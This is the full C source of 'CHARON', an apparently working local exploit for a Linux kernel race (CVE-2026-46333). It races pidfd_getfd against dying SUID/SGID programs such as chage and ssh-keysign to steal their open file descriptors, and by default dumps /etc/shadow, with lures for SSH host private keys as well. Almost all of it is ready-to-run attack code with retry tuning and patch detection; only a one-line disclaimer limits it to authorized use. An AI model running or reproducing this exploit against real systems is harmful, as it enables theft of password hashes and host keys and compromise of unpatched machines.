a0d7d0b75b
CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static.
312 lines
10 KiB
C
312 lines
10 KiB
C
/*
|
|
* ____ _ _ _ ____ ___ _ _
|
|
* / ___|| | | | / \ | _ \ / _ \| \ | |
|
|
* | | | |_| | / _ \ | |_) | | | | \| |
|
|
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
|
|
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
|
*
|
|
* ferries file descriptors across the exit-mm() Styx
|
|
* CVE-2026-46333 / Linux <= 6.12.89
|
|
*
|
|
* "It is a fearful thing to fall into the hands of the living God."
|
|
* — Hebrews 10:31
|
|
*
|
|
* Charon races pidfd_getfd(2) against a dying SUID-root process to
|
|
* lift its open /etc/shadow file descriptor through the transient
|
|
* mm-NULL window in do_exit():
|
|
*
|
|
* do_exit()
|
|
* ├── exit_mm() ← task->mm = NULL
|
|
* ├── ... ← __ptrace_may_access() now lies
|
|
* └── exit_files() ← fd table reaped
|
|
*
|
|
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
|
* never dumpable" and short-circuits the dumpable check. The dying
|
|
* userspace SUID process is briefly indistinguishable from a kernel
|
|
* thread in that test, so pidfd_getfd(2) succeeds against it and
|
|
* returns whatever fds it still has open before exit_files() runs.
|
|
*
|
|
* If the SUID binary opened /etc/shadow and then setreuid'd to the
|
|
* attacker uid before exiting, Charon walks home with the fd.
|
|
*
|
|
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
|
* Disclosure: Qualys → oss-security 2026-05-15
|
|
* Educational and authorized-defensive use only.
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <stdarg.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/stat.h>
|
|
#include <time.h>
|
|
#include <getopt.h>
|
|
|
|
#ifndef __NR_pidfd_open
|
|
#define __NR_pidfd_open 434
|
|
#endif
|
|
#ifndef __NR_pidfd_getfd
|
|
#define __NR_pidfd_getfd 438
|
|
#endif
|
|
|
|
#define CHARON_VERSION "1.0.0"
|
|
|
|
static const char BANNER[] =
|
|
"\n"
|
|
" ____ _ _ _ ____ ___ _ _\n"
|
|
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
|
|
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
|
|
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
|
|
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
|
|
"\n"
|
|
" ferries fds across the exit-mm() Styx\n"
|
|
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
|
"\n";
|
|
|
|
/* A lure is a SUID-root binary that opens FILE before dropping uid
|
|
* and exiting. invoking ARGV makes it open FILE deterministically. */
|
|
struct lure {
|
|
const char *path;
|
|
const char *file;
|
|
const char *const argv[5];
|
|
};
|
|
|
|
static const struct lure lures[] = {
|
|
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
|
|
* via SUID-root on RHEL family. Either way we ride the elevation. */
|
|
{ "/usr/bin/chage", "/etc/shadow",
|
|
{ "chage", "-l", "root", NULL } },
|
|
{ "/usr/sbin/chage", "/etc/shadow",
|
|
{ "chage", "-l", "root", NULL } },
|
|
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
|
|
* is enabled; newer builds bail early but still open the file first. */
|
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
|
{ "ssh-keysign", NULL } },
|
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
|
{ "ssh-keysign", NULL } },
|
|
{ NULL, NULL, { NULL } }
|
|
};
|
|
|
|
/* CLI state */
|
|
static const char *opt_target = NULL;
|
|
static int opt_quiet = 0;
|
|
static int opt_verbose = 0;
|
|
static int opt_rounds = 500;
|
|
static int opt_inner = 30000;
|
|
|
|
static unsigned long stat_forks = 0;
|
|
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
|
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
|
|
static unsigned long stat_target_hits = 0; /* matched want_file */
|
|
|
|
static void
|
|
msg(const char *prefix, const char *fmt, ...)
|
|
{
|
|
if (opt_quiet) return;
|
|
va_list ap;
|
|
fprintf(stderr, "%s ", prefix);
|
|
va_start(ap, fmt);
|
|
vfprintf(stderr, fmt, ap);
|
|
va_end(ap);
|
|
fputc('\n', stderr);
|
|
fflush(stderr);
|
|
}
|
|
|
|
static int
|
|
dump_fd(int fd)
|
|
{
|
|
char buf[8192];
|
|
ssize_t n;
|
|
lseek(fd, 0, SEEK_SET);
|
|
while ((n = read(fd, buf, sizeof(buf))) > 0) {
|
|
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
|
|
return -1;
|
|
}
|
|
fflush(stdout);
|
|
return n < 0 ? -1 : 0;
|
|
}
|
|
|
|
static int
|
|
lure_present(const struct lure *l)
|
|
{
|
|
struct stat st;
|
|
if (stat(l->path, &st) != 0) return 0;
|
|
/* Accept SUID-anything OR SGID-anything — both trigger the
|
|
* dumpable flag in execve which is exactly the protection that
|
|
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
|
|
* shadow (not SUID root); on RHEL family chage is SUID root. */
|
|
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
|
return 1;
|
|
}
|
|
|
|
/* Returns 0 on success (file contents on stdout). Negative codes:
|
|
* -ENOENT lure binary missing / no setuid|setgid
|
|
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
|
|
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
|
|
static int
|
|
hunt(const struct lure *l, const char *want_file)
|
|
{
|
|
if (!lure_present(l)) return -ENOENT;
|
|
|
|
msg("[*]", "lure %s target %s", l->path, want_file);
|
|
|
|
unsigned long getfd_ok_before = stat_getfd_ok;
|
|
|
|
for (int round = 0; round < opt_rounds; round++) {
|
|
pid_t c = fork();
|
|
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
|
|
|
|
if (c == 0) {
|
|
int dn = open("/dev/null", O_RDWR);
|
|
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
|
execv(l->path, (char *const *)l->argv);
|
|
_exit(127);
|
|
}
|
|
|
|
stat_forks++;
|
|
|
|
int pfd = syscall(__NR_pidfd_open, c, 0);
|
|
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
|
|
|
int got = -1;
|
|
|
|
for (int a = 0; a < opt_inner && got < 0; a++) {
|
|
for (int i = 3; i < 32; i++) {
|
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
|
stat_getfds++;
|
|
if (s < 0) continue;
|
|
|
|
stat_getfd_ok++; /* the bug worked at least at the syscall level */
|
|
|
|
char p[512] = {0}, lk[64];
|
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
|
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
|
if (n > 0) p[n] = 0;
|
|
|
|
if (strstr(p, want_file)) {
|
|
if (opt_verbose)
|
|
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
|
|
got = s;
|
|
break;
|
|
}
|
|
close(s);
|
|
}
|
|
}
|
|
|
|
if (got >= 0) {
|
|
stat_target_hits++;
|
|
int rc = dump_fd(got);
|
|
close(got);
|
|
close(pfd);
|
|
waitpid(c, NULL, 0);
|
|
if (opt_verbose)
|
|
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
|
|
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
|
return rc;
|
|
}
|
|
|
|
close(pfd);
|
|
waitpid(c, NULL, 0);
|
|
}
|
|
|
|
/* If pidfd_getfd never succeeded against this lure, the primitive
|
|
* is closed for this binary — likely a patched kernel. */
|
|
if (stat_getfd_ok == getfd_ok_before)
|
|
return -EPERM;
|
|
return -ETIME;
|
|
}
|
|
|
|
static void
|
|
usage(const char *prog)
|
|
{
|
|
fprintf(stderr,
|
|
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
|
|
"\n"
|
|
"Usage: %s [options]\n"
|
|
"\n"
|
|
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
|
" -r, --rounds N max rounds per lure (default: 500)\n"
|
|
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
|
|
" -q, --quiet no banner, no progress\n"
|
|
" -v, --verbose per-hit + final stats\n"
|
|
" --version print version and exit\n"
|
|
" -h, --help this help\n"
|
|
"\n"
|
|
"Exit codes:\n"
|
|
" 0 success — file contents on stdout\n"
|
|
" 1 no built-in lure on this system opens the requested file\n"
|
|
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
|
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
|
" 4 CLI / IO error\n"
|
|
"\n"
|
|
"For authorized security testing and defensive research only.\n",
|
|
CHARON_VERSION, prog);
|
|
}
|
|
|
|
int
|
|
main(int argc, char **argv)
|
|
{
|
|
static const struct option opts[] = {
|
|
{"target", required_argument, 0, 't'},
|
|
{"rounds", required_argument, 0, 'r'},
|
|
{"inner", required_argument, 0, 'i'},
|
|
{"quiet", no_argument, 0, 'q'},
|
|
{"verbose", no_argument, 0, 'v'},
|
|
{"version", no_argument, 0, 1 },
|
|
{"help", no_argument, 0, 'h'},
|
|
{0,0,0,0}
|
|
};
|
|
|
|
int o;
|
|
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
|
|
switch (o) {
|
|
case 't': opt_target = optarg; break;
|
|
case 'r': opt_rounds = atoi(optarg); break;
|
|
case 'i': opt_inner = atoi(optarg); break;
|
|
case 'q': opt_quiet = 1; break;
|
|
case 'v': opt_verbose = 1; break;
|
|
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
|
case 'h': usage(argv[0]); return 0;
|
|
default : usage(argv[0]); return 4;
|
|
}
|
|
}
|
|
if (!opt_target) opt_target = "/etc/shadow";
|
|
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
|
|
|
if (!opt_quiet) fputs(BANNER, stderr);
|
|
|
|
/* Iterate lures whose `file` matches what the user asked for. */
|
|
int any_present = 0, all_appear_patched = 1;
|
|
for (const struct lure *l = lures; l->path; l++) {
|
|
if (strcmp(l->file, opt_target) != 0) continue;
|
|
if (!lure_present(l)) continue;
|
|
any_present = 1;
|
|
|
|
int rc = hunt(l, opt_target);
|
|
if (rc == 0) return 0;
|
|
if (rc != -EPERM) all_appear_patched = 0;
|
|
}
|
|
|
|
if (!any_present) {
|
|
msg("[!]", "no built-in lure on this system opens %s", opt_target);
|
|
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
|
|
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
|
|
return 1;
|
|
}
|
|
if (all_appear_patched && stat_getfd_ok == 0) {
|
|
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
|
|
stat_getfds, stat_forks);
|
|
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
|
return 2;
|
|
}
|
|
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
|
stat_getfd_ok, opt_target);
|
|
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
|
|
return 3;
|
|
}
|